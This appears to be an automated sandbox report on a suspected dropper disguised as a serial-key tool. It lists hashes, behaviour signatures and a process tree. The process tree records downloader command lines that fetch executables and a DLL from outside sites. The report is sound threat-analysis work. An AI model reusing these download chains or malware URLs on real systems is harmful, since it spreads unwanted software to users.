57ed07bd99111bb89207f0f439d8946507ab597a8495b1c55f41a02e5d746d52

Analysis

max time kernel
150s
max time network
154s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
28/12/2023, 20:43

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General

Target

f6cebad4424030d0fad7d62c5fadf181.exe
Size

511KB
MD5

f6cebad4424030d0fad7d62c5fadf181
SHA1

8d1b9a0227896538b5492b8ec52e6622e340abeb
SHA256

57ed07bd99111bb89207f0f439d8946507ab597a8495b1c55f41a02e5d746d52
SHA512

f80e61a095ab0935be31fac4a72cb481af8d5577f64571f40f0a806aef5855f8030325001afb04b70ab6d351021d3ef615d5cc367ff780447017af5f97496490
SSDEEP

12288:HB38D6peEUBwXVwM9vylzdYvH7Aw5XoR0g46:HBsD8XVNCiH7j4RH

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 6 IoCs

pid	Process
2660	downloaderSTUB.exe
2672	downloaderSTUB.exe
2816	downloaderSTUB.exe
2904	downloaderDDLR.exe
2716	downloaderOFFER0.exe
3032	preinstaller.exe

Loads dropped DLL 31 IoCs

pid	Process
2076	f6cebad4424030d0fad7d62c5fadf181.exe
2076	f6cebad4424030d0fad7d62c5fadf181.exe
2076	f6cebad4424030d0fad7d62c5fadf181.exe
2076	f6cebad4424030d0fad7d62c5fadf181.exe
2076	f6cebad4424030d0fad7d62c5fadf181.exe
2076	f6cebad4424030d0fad7d62c5fadf181.exe
2672	downloaderSTUB.exe
2660	downloaderSTUB.exe
2716	downloaderOFFER0.exe
2816	downloaderSTUB.exe
2904	downloaderDDLR.exe
2672	downloaderSTUB.exe
2660	downloaderSTUB.exe
2716	downloaderOFFER0.exe
2816	downloaderSTUB.exe
2904	downloaderDDLR.exe
2672	downloaderSTUB.exe
2716	downloaderOFFER0.exe
2660	downloaderSTUB.exe
2816	downloaderSTUB.exe
2904	downloaderDDLR.exe
2904	downloaderDDLR.exe
2816	downloaderSTUB.exe
2660	downloaderSTUB.exe
2672	downloaderSTUB.exe
2716	downloaderOFFER0.exe
2904	downloaderDDLR.exe
2816	downloaderSTUB.exe
2660	downloaderSTUB.exe
2672	downloaderSTUB.exe
2716	downloaderOFFER0.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

NSIS installer 2 IoCs

installer

resource	yara_rule
behavioral1/files/0x0007000000015c41-4.dat	nsis_installer_1
behavioral1/files/0x0007000000015c41-4.dat	nsis_installer_2

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 2076 wrote to memory of 2660	2076	f6cebad4424030d0fad7d62c5fadf181.exe	28
PID 2076 wrote to memory of 2660	2076	f6cebad4424030d0fad7d62c5fadf181.exe	28
PID 2076 wrote to memory of 2660	2076	f6cebad4424030d0fad7d62c5fadf181.exe	28
PID 2076 wrote to memory of 2660	2076	f6cebad4424030d0fad7d62c5fadf181.exe	28
PID 2076 wrote to memory of 2672	2076	f6cebad4424030d0fad7d62c5fadf181.exe	31
PID 2076 wrote to memory of 2672	2076	f6cebad4424030d0fad7d62c5fadf181.exe	31
PID 2076 wrote to memory of 2672	2076	f6cebad4424030d0fad7d62c5fadf181.exe	31
PID 2076 wrote to memory of 2672	2076	f6cebad4424030d0fad7d62c5fadf181.exe	31
PID 2076 wrote to memory of 2816	2076	f6cebad4424030d0fad7d62c5fadf181.exe	30
PID 2076 wrote to memory of 2816	2076	f6cebad4424030d0fad7d62c5fadf181.exe	30
PID 2076 wrote to memory of 2816	2076	f6cebad4424030d0fad7d62c5fadf181.exe	30
PID 2076 wrote to memory of 2816	2076	f6cebad4424030d0fad7d62c5fadf181.exe	30
PID 2076 wrote to memory of 2904	2076	f6cebad4424030d0fad7d62c5fadf181.exe	29
PID 2076 wrote to memory of 2904	2076	f6cebad4424030d0fad7d62c5fadf181.exe	29
PID 2076 wrote to memory of 2904	2076	f6cebad4424030d0fad7d62c5fadf181.exe	29
PID 2076 wrote to memory of 2904	2076	f6cebad4424030d0fad7d62c5fadf181.exe	29
PID 2076 wrote to memory of 2716	2076	f6cebad4424030d0fad7d62c5fadf181.exe	33
PID 2076 wrote to memory of 2716	2076	f6cebad4424030d0fad7d62c5fadf181.exe	33
PID 2076 wrote to memory of 2716	2076	f6cebad4424030d0fad7d62c5fadf181.exe	33
PID 2076 wrote to memory of 2716	2076	f6cebad4424030d0fad7d62c5fadf181.exe	33
PID 2076 wrote to memory of 3032	2076	f6cebad4424030d0fad7d62c5fadf181.exe	32
PID 2076 wrote to memory of 3032	2076	f6cebad4424030d0fad7d62c5fadf181.exe	32
PID 2076 wrote to memory of 3032	2076	f6cebad4424030d0fad7d62c5fadf181.exe	32
PID 2076 wrote to memory of 3032	2076	f6cebad4424030d0fad7d62c5fadf181.exe	32
PID 2076 wrote to memory of 3032	2076	f6cebad4424030d0fad7d62c5fadf181.exe	32
PID 2076 wrote to memory of 3032	2076	f6cebad4424030d0fad7d62c5fadf181.exe	32
PID 2076 wrote to memory of 3032	2076	f6cebad4424030d0fad7d62c5fadf181.exe	32

C:\Users\Admin\AppData\Local\Temp\f6cebad4424030d0fad7d62c5fadf181.exe
"C:\Users\Admin\AppData\Local\Temp\f6cebad4424030d0fad7d62c5fadf181.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2076
- C:\Users\Admin\AppData\Local\Temp\fa5a193af980bf6fd24c2b007a278851\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\fa5a193af980bf6fd24c2b007a278851\downloaderSTUB.exe /U "http://www.openbitcoin.org/static/dist/obc.exe" /D "C:\Users\Admin\AppData\Local\Temp\fa5a193af980bf6fd24c2b007a278851\stub.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2660
- C:\Users\Admin\AppData\Local\Temp\fa5a193af980bf6fd24c2b007a278851\downloaderDDLR.exe
  C:\Users\Admin\AppData\Local\Temp\fa5a193af980bf6fd24c2b007a278851\downloaderDDLR.exe /U "http://www.directdownloader.com/DirectDownloaderInstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\fa5a193af980bf6fd24c2b007a278851\DirectDownloaderInstaller.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2904
- C:\Users\Admin\AppData\Local\Temp\fa5a193af980bf6fd24c2b007a278851\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\fa5a193af980bf6fd24c2b007a278851\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/updater.exe" /D "C:\Users\Admin\AppData\Local\Temp\fa5a193af980bf6fd24c2b007a278851\updater.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2816
- C:\Users\Admin\AppData\Local\Temp\fa5a193af980bf6fd24c2b007a278851\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\fa5a193af980bf6fd24c2b007a278851\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/OpenCL.dll" /D "C:\Users\Admin\AppData\Local\Temp\fa5a193af980bf6fd24c2b007a278851\OpenCL.dll"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2672
- C:\Users\Admin\AppData\Local\Temp\fa5a193af980bf6fd24c2b007a278851\preinstaller.exe
  C:\Users\Admin\AppData\Local\Temp\fa5a193af980bf6fd24c2b007a278851\preinstaller.exe 0 "Serial Box [01.2013] iSerial Reader [v2.0.12] SerialSeeker [v1.3.8 (B4)] [MAC] [CodeTempest]" "Download"
  2⤵
  - Executes dropped EXE
  PID:3032
- C:\Users\Admin\AppData\Local\Temp\fa5a193af980bf6fd24c2b007a278851\downloaderOFFER0.exe
  C:\Users\Admin\AppData\Local\Temp\fa5a193af980bf6fd24c2b007a278851\downloaderOFFER0.exe /U "http://www.directdownloader.com/toolbars/optimizer.exe" /D "C:\Users\Admin\AppData\Local\Temp\fa5a193af980bf6fd24c2b007a278851\optimizer.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2716

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\fa5a193af980bf6fd24c2b007a278851\downloaderOFFER2.exe

Filesize
58KB

MD5
c7f6ed56312c8fbb58ae6ed445c38df4

SHA1
e2dba94ef052db774478b9f7198c1a2298b334e5

SHA256
fdb8452173a4f116f6e362ab5466c3c16bf6697502fe3d01db0d82f0e339de24

SHA512
ac43e5bb31c3c0876a7768553916cce76d92088e62594e8463b128a0d6e587c48152a5efcf0b2a5e8fb43028d46913df114ae3c3750b7e6c4212c7044518ba43

Download Submit
\Users\Admin\AppData\Local\Temp\fa5a193af980bf6fd24c2b007a278851\preinstaller.exe

Filesize
213KB

MD5
06baef00ae0f0e42fc5fea24fc4eac42

SHA1
9161574590f09cfe4c24498827386ed57f2e8c58

SHA256
19460c3c1b450286c68fba77086c561e740374ae5c44213dd2ec22dc52a430b8

SHA512
29431ff9f16fdd4122a10dfec0f260a4397e776daae2ef17defae71e037f082d48d186a24d229c408c9d1b0b4f02aaeaa69011e44cf399795f9c09903ac51486

Download Submit
\Users\Admin\AppData\Local\Temp\nst4358.tmp\NSISdl.dll

Filesize
14KB

MD5
a5f8399a743ab7f9c88c645c35b1ebb5

SHA1
168f3c158913b0367bf79fa413357fbe97018191

SHA256
dacc88a12d3ba438fdae3535dc7a5a1d389bce13adc993706424874a782e51c9

SHA512
824e567f5211bf09c7912537c7836d761b0934207612808e9a191f980375c6a97383dbc6b4a7121c6b5f508cbfd7542a781d6b6b196ca24841f73892eec5e977

Download Submit
memory/2076-58-0x0000000000400000-0x0000000000446000-memory.dmp

Filesize
280KB

Download
memory/3032-59-0x0000000000400000-0x000000000043F000-memory.dmp

Filesize
252KB

Download